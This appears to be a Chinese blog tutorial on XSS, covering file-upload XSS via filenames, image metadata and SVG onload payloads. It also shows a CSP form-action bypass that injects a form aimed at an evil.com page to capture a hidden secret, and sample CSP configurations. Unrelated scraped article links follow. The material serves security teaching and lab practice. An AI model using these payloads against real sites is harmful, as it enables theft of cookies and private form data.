xss之上传文件的xss,绕过csp,预警机制
xss
1.XSS姿势——文件上传XSS https://wooyun.x10sec.org/static/drops/tips-14915.html
总结:
1.1.文件名方式,原理:有些文件名可能反应在页面上,带有xss命令的文件可以起到攻击作用
实例:pikachu靶机文件上传后,会有提示文件名上传成功,将文件名修改成xss命令
1.2.metadata 原理:exiftool修改图片的-artlist属性引起xss
想象:上传图片后,显示图片的artlist属性,通过exiftool修改图片的属性
1.3.content 原理:可以上传svg文件的格式,内容带有<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>,上传后访问svg文件触发xss
实例:访问http://127.0.0.1/test.svg触发
1.4.sorce
1.touch xss.gif
2.vim xss.gif
3.<svg xmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)"/>
4.file xss.gif
5.访问
2.利用反射型XSS二次注入绕过CSP form-action限制
步骤
2.1 D:\phpStudy\WWW\xss\secret.php 页面代码如下:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
</body>
</html>
2.2 无csp,攻击者通过xss修改action
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
<script>
var form1=document.getElementsByTagName('form');
form1[0].setAttribute("action","http://www.baidu.com")
new_action=form1[0].getAttribute("action");
alert(new_action);
</script>
</body>
</html>
将http://www.baidu.com修改成攻击页面可以获取cookie信息和获取隐私信息如xiao_mi_mi
2.3 使用csp白名单策略+限制外部js的加载+不允许内联脚本
csp的配置:
Apache服务
在VirtualHost的httpd.conf文件或者.htaccess文件中加入以下代码
Header set Content-Security-Policy "default-src 'self';"
Nginx
在 server {}对象块中添加如下代码
add_header Content-Security-Policy "default-src 'self';";
IIS
web.config:中添加
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'self';" />
</customHeaders>
</httpProtocol>
</system.webServer>
2.4 攻击者修改页面
通过xss引入以下语句:
<div><form action='http://evil.com/wo_de_mi_mi.php'></div>
<form method='POST' id='subscribe' action='oo.html'>
测试这个页面,第二个form不起作用,此时提交action=www.baidu.com:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<div><form action='http://www.baidu.com'></div>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
</body>
</html>
2.5 CSP加上了form-action来限定form标签的action指向
from-action限制方法:
Content-Security-Policy: form-action <source> <source>
2.6 攻击者修改页面
攻击者通过几个<input>最终绕过csp
3 xss报警机制
3.1分前端数据库端后端来划分,
3.2 可以使用csp来防御
3.3 xss危害相对较少,数量可能多
xss之上传文件的xss,绕过csp,预警机制的更多相关文章
- FTP文件操作之上传文件
上传文件是一个比较常用的功能,前段时间就做了一个上传图片的模块.开始采用的是共享文件夹的方式,后来发现这种方法不太好.于是果断将其毙掉,后来选择采用FTP的方式进行上传.个人感觉FTP的方式还是比较好 ...
- 从零开始学安全(四十)●上传文件MIME类型绕过漏洞防御
MIME检测原理 服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的. php示例代码: if($_FILES['userfile']['type' ...
- react native 之上传文件
最近遇到react native中需要上传一些图片到后台.期间,找了一些第三方上传插件,感觉不太好用,要么只支持一个平台,要么会对其他第三方造成影响,实在无奈.只能直接使用fetch上传.其中上传文件 ...
- 转:python webdriver API 之上传文件
文件上传操作也比较常见功能之一,上传功能操作 webdriver 并没有提供对应的方法,关键上传文件的思路.上传过程一般要打开一个系统的 window 窗口,从窗口选择本地文件添加.所以,一般会卡在如 ...
- Django之上传文件
使用Form表单上传文件 upload.html <!DOCTYPE html> <html lang="en"> <head> <met ...
- Android WebView那些坑之上传文件
最近公司项目需要在WebView上调用手机系统相册来上传图片,开发过程中发现在很多机器上无法正常唤起系统相册来选择图片. 解决问题之前我们先来说说WebView上传文件的逻辑:当我们在Web页面上点击 ...
- Flask入门之上传文件到服务器
今天要做一个简单的页面,可以实现将文件 上传到服务器(保存在指定文件夹) #Sample.py # coding:utf-8 from flask import Flask,render_templa ...
- LoadRunner开发ftp协议接口之上传文件脚本
Action() { //建立一个ftp对象 FTP ftp1=0; //建立FTP连接并登录 ftp_logon_ex(&ftp1,"ftpLogon", "U ...
- jQuery插件之上传文件ajaxfileupload.js源码与使用
在网页应用中,一般会用到上传文件或者图片什么的到服务器,那么可以用ajaxfileupload.js,但是在使用ajaxfileupload.js时候,当服务器返回的json带有&符号的时候, ...
随机推荐
- mysql主从同步原理及错误解决
mysql主从同步的原理: 1.在master上开启bin-log日志功能,记录更新.插入.删除的语句. 2.必须开启三个线程,主上开启io线程,从上开启io线程和sql线程. 3.从上io线程去连接 ...
- boost::bind四种应用场景的例子
普通函数 int f( int a, int b ){return a + b;}boost::bind( f, _1, 9 )( 1 ) 成员函数 struct demo{int f( in ...
- Java线程安全队列Queue实现原理
原文链接:https://www.cnblogs.com/DreamRecorder/p/9223016.html 在Java多线程应用中,队列的使用率很高,多数生产消费模型的首选数据结构就是队列.J ...
- jquery入口函数的测试
/*编写一个自定义的jquery框架*/ (function (window,undefined) { var njquery=function (selector ,) { return new j ...
- FastJson反序列化获取不到值
今天碰到一个问题,使用fastjson反序列化,就是将JSON解析成javaBean时,一个字段值为null.后面经查,是JavaBean中的set方法写错了,fastJson解析的是利用反射通过se ...
- 资源|《美团机器学习实践》PDF+思维导图
今天再给大家推荐一本由美团算法团队出版的<美团机器学习实践>,下载链接见文末. 美团算法团队由数百名优秀算法工程师组成,负责构建美团这个生活服务互联网大平台的"大脑", ...
- zabbix硬件监控以及服务
大家好今天给大家带来zabbix3.4.8监控主机,那么最近由于我个人的关系.没有及时的更新文章所以,很抱歉那么今天我分享的内容是zabbix3.4.8监控服务器.本章的具体监控服务器如下: 服务器的 ...
- 1231: 删除字符串中指定的字符(Java)
WUSTOJ 1231: 删除字符串中指定的字符 题目 原题链接 Description 明天就要英语考试了,小明明正在挑灯夜战背单词.小明明发现单词很难背,背一个忘一个.经过仔细研究,小明明发现单词 ...
- PHP的 parse_ini_file 解析配置文件
解析配置文件: parse_ini_file 类似解析php.ini文件样 配置文件内容如下: Example #1 sample.ini 的内容 ; This is a sample configu ...
- 应用人员反馈报错,ORA-03137: TTC protocol internal error : [12333]
一.报错现象 应用人员反馈连接不上数据库,连接报错. 我们使用PLSQL发现可以连接数据库,但是数据库DB Alert存在如下报错信息 DB AlertFri Oct :: Errors ): ORA ...